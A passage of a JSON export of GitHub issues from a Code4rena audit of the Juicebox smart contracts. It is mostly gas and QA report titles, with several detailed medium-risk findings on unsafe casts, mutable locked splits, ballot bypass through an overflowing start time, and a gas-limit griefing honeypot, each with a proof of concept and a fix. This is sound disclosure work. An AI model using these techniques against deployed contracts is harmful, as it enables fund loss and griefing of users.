"labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/338", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/337", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Reentrancy issues on function `distributePayoutsOf`", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/329", "labels": ["bug", "2 (Med Risk)", "valid"], "target": "2022-07-juicebox-findings", "body": "Reentrancy issues on function `distributePayoutsOf`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/328", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/327", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/325", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/324", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/323", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/322", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/320", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/319", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Code credits fee-on-transfer tokens for amount stated, not amount transferred", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/304", "labels": ["bug", "documentation", "2 (Med Risk)", "sponsor acknowledged", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Code credits fee-on-transfer tokens for amount stated, not amount transferred"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/301", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/300", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/299", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/295", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Unsafe casts `uint256` to `int256` and `int256` to `uint256`", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/293", "labels": ["bug", "documentation", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L816 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L668 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L681 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L743 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L785 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L859 # Vulnerability details ### Impact The JBController contract performs many unsafe casts `uint256` to `int256` and `int256` to `uint256` In example: - the cast `-1`(int256) to uint256 was `2**256 - 1` - the cast `2**255`(uint256) to int256 was `- 2**255` ### Proof of Concept `int256` to `uint256`: - [L816: `if (uint256(_processedTokenTrackerOf[_projectId]) != tokenStore.totalSupplyOf(_projectId))`](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L816) `uint256` to `int256`: - [L668: `int256(_tokenCount);`](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L668) - [L681: `int256(beneficiaryTokenCount);`](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L681) - [L743: `int256(_tokenCount);`](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L743) - [L785: `_processedTokenTrackerOf[_projectId] = int256(tokenStore.totalSupplyOf(_projectId));`](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L785) - [L859: `_processedTokenTrackerOf[_projectId] = int256(_totalTokens + tokenCount);`](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L859) > Note: in the [L1076](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L1076) and [L1077](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L1077) there are two more casts but in the [L1075](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/733810a0339a5c0cb608345e6fc66a6edeac13cc/contracts/JBController.sol#L1075) check the cast ### Tools Used Review ### Recommended Mitigation Steps Use a SafeCast library of openzeppelin [`toUint256(int256 value)` and `toInt256(uint256 value)`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/8c49ad74eae76ee389d038780d407cf90b4ae1de/contracts/utils/math/SafeCast.sol) or check the number before cast it "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/290", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/288", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/287", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/286", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "More outstanding reserved tokens are distributed than anticipated leading to less redeemable assets and therefore loss of user funds", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/285", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "valid"], "target": "2022-07-juicebox-findings", "body": "More outstanding reserved tokens are distributed than anticipated leading to less redeemable assets and therefore loss of user funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/284", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/283", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Locked splits can be updated", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/278", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSplitsStore.sol#L213-L220 # Vulnerability details ## Impact The check if the newly provided project splits contain the currently locked splits does not check the `JBSplit` struct properties `preferClaimed` and `preferAddToBalance`. According to the docs in `JBSplit.sol`, _\"...if the split should be unchangeable until the specified time, with the exception of extending the locked period.\"_, locked sets are unchangeable. However, locked sets with either `preferClaimed` or `preferAddToBalance` set to true can have their bool values overwritten by supplying the same split just with different bool values. ## Proof of Concept [JBSplitsStore.sol#L213-L220](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSplitsStore.sol#L213-L220) ```solidity // Check for sameness. if ( _splits[_j].percent == _currentSplits[_i].percent && _splits[_j].beneficiary == _currentSplits[_i].beneficiary && _splits[_j].allocator == _currentSplits[_i].allocator && _splits[_j].projectId == _currentSplits[_i].projectId && // Allow lock extention. _splits[_j].lockedUntil >= _currentSplits[_i].lockedUntil ) _includesLocked = true; ``` The check for sameness does not check the equality of the struct properties `preferClaimed` and `preferAddToBalance`. ## Tools Used Manual review ## Recommended mitigation steps Add two additional sameness checks for `preferClaimed` and `preferAddToBalance`: ```solidity // Check for sameness. if ( _splits[_j].percent == _currentSplits[_i].percent && _splits[_j].beneficiary == _currentSplits[_i].beneficiary && _splits[_j].allocator == _currentSplits[_i].allocator && _splits[_j].projectId == _currentSplits[_i].projectId && _splits[_j].preferClaimed == _currentSplits[_i].preferClaimed && // @audit-info add check for sameness for property `preferClaimed` _splits[_j].preferAddToBalance == _currentSplits[_i].preferAddToBalance && // @audit-info add check for sameness for property `preferAddToBalance` // Allow lock extention. _splits[_j].lockedUntil >= _currentSplits[_i].lockedUntil ) _includesLocked = true; ``` "}, {"title": "Discounted fee calculation is imprecise and calculates less fees than anticipated", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/275", "labels": ["bug", "2 (Med Risk)", "valid"], "target": "2022-07-juicebox-findings", "body": "Discounted fee calculation is imprecise and calculates less fees than anticipated"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/274", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/273", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/272", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/269", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/267", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/266", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/265", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/262", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/256", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/255", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/254", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/247", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/245", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/244", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Use a safe transfer helper library for ERC20 transfers", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/242", "labels": ["bug", "2 (Med Risk)", "valid"], "target": "2022-07-juicebox-findings", "body": "Use a safe transfer helper library for ERC20 transfers"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/237", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/236", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Grieffer beneficiary can cause DOS", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/229", "labels": ["bug", "documentation", "2 (Med Risk)", "sponsor acknowledged", "valid"], "target": "2022-07-juicebox-findings", "body": "Grieffer beneficiary can cause DOS"}, {"title": "An Attacker can cause phising attack with name/symbol and it can be the same as another project and users cant tell.Causing users to loose their funds.", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/228", "labels": ["bug", "documentation", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-07-juicebox-findings", "body": "An Attacker can cause phising attack with name/symbol and it can be the same as another project and users cant tell.Causing users to loose their funds."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/222", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Lack of check on `mustStartAtOrAfter`", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/220", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBFundingCycleStore.sol#L306-L312 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBFundingCycleStore.sol#L518-L522 # Vulnerability details ## Impact **MED** - the function of the protocol could be impacted By setting huge `mustStartAtOrAfter`, the owner can set start time in the past. It might open up possibility to bypass the ballot waiting time depending on the ballot's implementation. ## Proof of Concept - [proof of concept](https://gist.github.com/zzzitron/a8c6067923a87af8e001c05442258370#file-2022-07-juiceboxv2-t-sol-L77-L115) The proof of concept is almost the same as [`TestReconfigure::testReconfigureProject`](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/system_tests/TestReconfigure.sol#L77-L114). In the original test, the owner of the project is reconfiguring funding cycle, but it is not in effect immediately because ballot is set. Only after 3 days the newly set funding cycle will be the current one. In the above proof of concept, only one parameter of the funding cycle is modified: `mustStartAtOrAfter` is set to `type(uint56).max`. As the result, the newly set funding cycle is considered as the current one without waiting for the ballot. The cause of this is missing check on `mustStartAtOrAfter` upon setting [here](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBFundingCycleStore.sol#L306-L312). If the given `_mustStartAtOrAfter` is huge, it will be passed eventually to the `_initFor`, `_packAndStoreIntrinsicPropertiesOf`. Then it will 'overflow' by shifting and set to the funding cycle, which [essentially can be set to any value including the past](https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBFundingCycleStore.sol#L518-L522). Also, it seems like the number will be also effected because the bigger digit will carry over. ```solidity // in JBFundingCycleStore::_packAndStoreIntrinsicPropertiesOf // where the `_start` is derived from `_mustStartAtOrAfter` ./JBFundingCycleStore.sol-518- // start in bits 144-199. ./JBFundingCycleStore.sol:519: packed |= _start << 144; ./JBFundingCycleStore.sol-520- ./JBFundingCycleStore.sol-521- // number in bits 200-255. ./JBFundingCycleStore.sol-522- packed |= _number << 200; ``` ## Tools Used foundry ## Recommended Mitigation Steps Add a check for the `_mustStartAtOrAfter`: ```solidity // example check for _mustSTartAtOrAfter // in JBFundingCycleStore::configureFor if (_mustStartAtOrAfter > type(uint56).max) revert INVALID_START(); ``` "}, {"title": "Duplicated locked splits can be discarded", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/219", "labels": ["bug", "documentation", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Duplicated locked splits can be discarded"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/214", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/211", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/209", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/208", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/206", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/192", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/191", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/188", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/185", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/181", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/173", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/172", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Juicebox project owner can create a honeypot to cause grief", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/170", "labels": ["bug", "documentation", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "valid"], "target": "2022-07-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBController.sol#L760 https://github.com/jbx-protocol/juice-contracts-v2-code4rena/blob/828bf2f3e719873daa08081cfa0d0a6deaa5ace5/contracts/JBSplitsStore.sol#L147 # Vulnerability details ## Impact In a Juicebox project the project owner (or anyone that they approve) can set splits. These splits are details of the token distributions to other addresses in response to contributions to the project. At the moment the `SPLITS_TOTAL_PERCENT = 1_000_000_000`. This means that the project owner could theoretically add 1 billion different splits, each with a percent value of 1. Of course, this would require too much gas, but the idea stands. A project owner could honeypot users by creating a project with the `MAX_RESERVED_RATE` reserved rate, and setting a large percentage split for the `msg.sender` who calls `distributeReservedTokensOf` in `JBController.sol`. The project owner could then fund the project with a series of large payments to ensure that the reserved amount was sufficiently large to entice a user to call `distributeReservedTokensOf` in the belief that they will be obtaining a large percentage of the reserve. However, when a user calls this method they will hit the block gas limit and will have spent a large amount of ETH on gas, without receiving any of their expected split. I consider this to be of high severity since user assets (in the form of gas) can be permanently lost without any loss to the project owner/griefer. ## Proof of Concept The key behaviour we need to prove is that it's possible to set more splits before hitting the block gas limit than it is to distribute reward tokens over the same number of splits. If this is true, the project owner will be able to set a number of splits that will always make the `distributeReservedTokensOf` hit the block gas limit, and hence grief the caller. This can be demonstrated by modifying the existing test cases. From some basic testing I have found that calling `distributeReservedTokensOf` hits the block gas limit when there are at least 389 splits, but for the same split count the project owner can successfully call `set` without hitting the block gas limit. ``` diff --git a/test/jb_controller/distribute_reserved_token_of.test.js b/test/jb_controller/distribute_reserved _token_of.test.js index 2f964d8..6cfd645 100644 --- a/test/jb_controller/distribute_reserved_token_of.test.js +++ b/test/jb_controller/distribute_reserved_token_of.test.js @@ -119,10 +119,15 @@ describe('JBController::distributeReservedTokensOf(...)', function () { const { addrs, projectOwner, jbController, mockJbTokenStore, mockSplitsStore, timestamp } = await setup(); const caller = addrs[0]; - const splitsBeneficiariesAddresses = [addrs[1], addrs[2]].map((signer) => signer.address); + let addressList = [addrs[1], addrs[2]]; + for (let i = 1; i < 389; i++) { + addressList.push(addrs[1]); + } + + const splitsBeneficiariesAddresses = addressList.map((signer) => signer.address); const splits = makeSplits({ - count: 2, + count: 389, beneficiary: splitsBeneficiariesAddresses, preferClaimed: true, }); diff --git a/test/jb_splits_store/set.test.js b/test/jb_splits_store/set.test.js index 3dd0331..5992957 100644 --- a/test/jb_splits_store/set.test.js +++ b/test/jb_splits_store/set.test.js @@ -54,7 +54,7 @@ describe('JBSplitsStore::set(...)', function () { }; } - function makeSplits(beneficiaryAddress, count = 4) { + function makeSplits(beneficiaryAddress, count = 389) { let splits = []; for (let i = 0; i < count; i++) { splits.push({ ``` ## Tools Used VSCode & Hardhat ## Recommended Mitigation Steps For `JBSplit` objects there should be a minimum percentage for each split when calling `set`. Furthermore, it would probably be wise to prevent duplicate beneficiaries, but I have omitted that in the below recommendation for clarity. Below is a suggested diff. I've arbitrarily set a minimum percentage of 10,000 but given the PoC the min percentage should be conservatively set to ensure no more than 389 splits can be created (I would probably suggest a cap of max 100 splits per group). ``` diff --git a/contracts/JBSplitsStore.sol b/contracts/JBSplitsStore.sol index d61cca2..429d78a 100644 --- a/contracts/JBSplitsStore.sol +++ b/contracts/JBSplitsStore.sol @@ -227,8 +227,8 @@ contract JBSplitsStore is IJBSplitsStore, JBOperatable { uint256 _percentTotal = 0; for (uint256 _i = 0; _i < _splits.length; _i++) { - // The percent should be greater than 0. - if (_splits[_i].percent == 0) revert INVALID_SPLIT_PERCENT(); + // The percent should be greater than or equal to 10000. + if (_splits[_i].percent < JBConstants.MIN_SPLIT_PERCENT) revert INVALID_SPLIT_PERCENT(); // ProjectId should be within a uint56 if (_splits[_i].projectId > type(uint56).max) revert INVALID_PROJECT_ID(); diff --git a/contracts/libraries/JBConstants.sol b/contracts/libraries/JBConstants.sol index 9a418f2..afb5f23 100644 --- a/contracts/libraries/JBConstants.sol +++ b/contracts/libraries/JBConstants.sol @@ -10,6 +10,7 @@ library JBConstants { uint256 public constant MAX_REDEMPTION_RATE = 10000; uint256 public constant MAX_DISCOUNT_RATE = 1000000000; uint256 public constant SPLITS_TOTAL_PERCENT = 1000000000; + uint256 public constant MIN_SPLIT_PERCENT = 10000; uint256 public constant MAX_FEE = 1000000000; uint256 public constant MAX_FEE_DISCOUNT = 1000000000; } ``` An alternative to setting a minimum percentage would be to have a check on the length of the splits array and capping that at a sensible value. In this instance a project owner could still set low percentages per split, however I don't personally see the value in being able to set a value of 1 (to receive 1 billionth of the reserve). "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/167", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/164", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/163", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": 